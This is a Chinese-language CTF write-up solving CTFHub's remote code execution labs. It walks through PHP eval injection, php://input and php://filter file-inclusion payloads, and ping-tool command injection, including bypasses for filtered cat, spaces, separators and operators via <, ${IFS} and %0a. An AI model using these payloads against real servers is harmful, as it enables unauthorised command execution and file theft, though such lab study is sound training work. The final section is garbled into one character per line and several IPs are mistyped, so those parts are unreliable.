CTFHUB之RCE
1.eval执行
1.先看一下靶机环境
2.先看一下php代码,这里要求将命令赋值给cmd然后执行
先看一下根目录文件/?cmd=system(“ls”);
这里的分号不能省略
没有有用的文件。查看上一级的文件夹/?cmd=system(“ls %20/”);
3.这里在进行抓取flag片段/?cmd=system(“cat%20/flag_29475”);
2.文件包含
1.先看靶机环境,点击shell会出现以下的页面,然后使用火狐的hackbar来进行postdata的注入,这个如上,
这里先查看上个目录
2.上个目录没有得到想要的,查看上个目录。
3.查看flag
php://input
这里先了解一下php://input
php://用来访问各个输入/输出流
php://input是个可以访问请求的原始数据的只读流,可以接收post请求作为输入流的输入,将请求作为PHP代码输入,以达到以post的形式进行输入的目的
1.开始做题,先看一眼靶机环境
2.点击phpinfo查看配置
发现这个的开关是开的,说明可以使用php://input
3.使用bp抓包,放到重发器中
4.这里修改发送方法为post,目标修改为/?file=php://input
将body换成<?php system('ls /');?>查看上一级文件
5.这里修改body为
<?php system('cat /flag_23020');?> 访问flag远程包含
1.先查看靶机环境
2.查看配置文件,发现能够使用php://input
3.构造payload,查看上一级文件
4.查看flag
读取源代码
1.这里照常使用构造payload来访问上一级文件
发现没有反应
2.这里了解一下php://filter
php://filter是一种元封装器,设计用来数据流打开是的筛选过滤应用。这对于一体式的文件函数非常有用。
php://filter目标使用以下的参数作为它路径的一部分。复合过滤链能够在一个路径上指定。
这里可以使用filter将源代码通过base64回显
payload
http://URL/?file=php://filter/read=convert.base64-encode/resource=…/…/…/flag
3.找在线解码
命令注入
1.题目提示这个是测试网络延迟的平台,路由器中会经常出现。
打开题目后输入127.0.0.1
这里需要了解一下linux中命令的链接符号
1.每个命令之间用;隔开
说明:各命令的执行给果,不会影响其它命令的执行。换句话说,各个命令都会执行,但不保证每个命令都执行成功。
2.每个命令之间用&&隔开
说明:若前面的命令执行成功,才会去执行后面的命令。这样可以保证所有的命令执行完毕后,执行过程都是成功的。
3.每个命令之间用||隔开
说明:||是或的意思,只有前面的命令执行失败后才去执行下一条命令,直到执行成功一条命令为止。
4.| 是管道符号。管道符号改变标准输入的源或者是标准输出的目的地。
5.& 是后台任务符号。 后台任务符号使shell在后台执行该任务,这样用户就可以立即得到一个提示符并继续其他工作。
使用&连接符,连接别的命令试一下,发现也执行了后面的命令,且文件夹下有个php文件
127.0.0.1 & ls
127.0.0.1 & cat 2837021164864.php
发现打不开PHP文件
这里用管道符来进行base64解密、
127.0.0.1 & cat 2837021164864.php | base64
进行解码
过滤cat
根据题目提示这里过滤了cat
1.这里直接访问上一个目录
2.这里找到了flag所在的文件位置,这里过滤了cat,无法使用cat,这里补充一下
linux查看文本的命令
cat 由第一行开始显示内容,并将所有内容输出
tac 从最后一行倒序显示内容,并将所有内容输出
more 根据窗口大小,一页一页的现实文件内容
less 和more类似,但其优点可以往前翻页,而且进行可以搜索字符
head 只显示头几行
tail 只显示最后几行
nl 类似于cat -n,显示时输出行号
tailf 类似于tail -f
这里我使用的是more来查看文件
127.0.0.1 & more flag_31842143531286.php | base64来进行解码
3.解码找flag
过滤空格
这里查看源代码,发现过滤了空格
1.先查看上级文件 127.0.0.1&ls
2.这里可以通过<来代替空格127.0.0.1&cat<flag|base64
3.解码
过滤目录分隔符
1.先查看源代码,然后试着查看上一级的文件,127.0.0.1;ls,发现了flag_is_here.再查看上一级的文件。12.0.0.1;cd flag_is_here;ls
2.查看存放flag的文件
12.0.0.1;cd flag_is_here;cat flag_4635141399483.php|base64
3.解码
过滤运算符
这里先查看一下源代码,过滤了运算符,无法使用| base64
1.这里先查看上一级文件 127.0.0.1;ls
2.这里可以这样输入12.0.0.1 ; base64 flag_27475302269053.php
3.解码
综合过滤练习
查看源代码,过滤了| & ; cat flag ctfhub 空格
空格可以用${IFS}
cat可以用more f
lag可以用正则f***
ctfhub应该用不到 查了一下,
在linux下,命令分隔符除了;还有%0a
有了;就可以不用运算符了
这里因为%0a是url编码,所以要输入到url中,否则会被二次编码
在url输入?ip=127.0.0.1%0als#查看上一级文件
查看flag_is_here
?ip=127.0.0.1%0acd[]{IFS}f***_is_here[]{IFS}%0als这里因为$存在显示问题所以用[]代替
查看flag文件
?ip=127.0.0.1%0acd[]{IFS}f***_is_here[]{IFS}%0abase64
I
F
S
f
∗
∗
∗
∗
∗
2
46102198712264.
p
h
p
这
里
和
上
面
一
样
用
[
]
代
替
了
{IFS}f_*****_246102198712264.php 这里和上面一样用[]代替了
IFSf∗∗∗∗∗246102198712264.php这里和上面一样用[]代替了
解码